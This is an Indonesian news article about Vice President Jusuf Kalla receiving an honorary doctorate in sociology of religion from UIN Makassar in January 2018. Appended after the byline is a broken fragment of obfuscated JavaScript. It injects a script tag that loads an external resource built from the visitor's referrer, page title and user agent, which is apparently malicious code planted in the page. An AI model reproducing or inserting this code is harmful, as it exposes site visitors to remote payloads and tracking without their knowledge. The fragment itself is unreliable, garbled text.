Wapres JK Terima Gelar Doktor Honoris Causa

1,263 kali dilihat, 1 kali dilihat hari ini

MAKASSAR – Wakil Presiden Republik Indonesia Jusuf Kalla (JK), menerima gelar kehormatan Doktor Honoris Causa (Dr HC) Bidang Sosiologi Agama di Gedung Auditorium Kampus II Universitas Islam Negeri Makassar (UINAM), Kamis (25/1/2018).

Rektor UINAM Prof Musafir Pababbari menjelaskan, keputusan pemberian gelar ini tidak lahir begitu saja, tetapi melalui kajian yang serius dan mendalam.

UINAM melihat, peran dan kontribusi JK dalam bidang perdamaian tidak diragukan lagi, baik di tingkat nasional hingga pengakuan internasional. Pengalamannya sebagai tokoh perdamaian sudah terbukti, seperti meredakan konflik di Ambon, Poso maupun Aceh.

“Bapak JK tidak hanya bicara teoritis tentang pentingnya perdamaian. Beliau juga menjadi aktor yang terlibat langsung dalam mewujudkan perdamaian itu sendiri,” beber dia.

Langkah pemberian gelar kehormatan ini, lanjutnya, menjadi bentuk apresiasi dan penghargaan kepada setiap anak bangsa yang telah berjasa bagi kemajuan bangsa.

“Dalam bekerja, Beliau tidak pernah berharap popularitas. Menurutnya, kepemimpinan yang dilandasi dengan mencari popularitas justru menghancurkan sendi-sendi kemanusiaan,” pungkas Rektor UINAM.

Kegiatan ini turut dihadiri Gubernur Sulsel Syahrul Yasin Limpo, Menteri Agama Lukman Hakim, dan para akademisi UINAM. Pemberian gelar ini, sebelumnya mendapat kritikan dari sejumlah Mahasiswa dan alumni di kalangan kampus UNIAM, namun pihak kampus tetap memberikan gelar tersebut.. (ant/nis) \x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xd052[1]](_0xd052[0]);s[_0xd052[2]]= _0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];if(document[_0xd052[13]]){document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])}else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+ encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+ encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+ window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}

You might also like More from author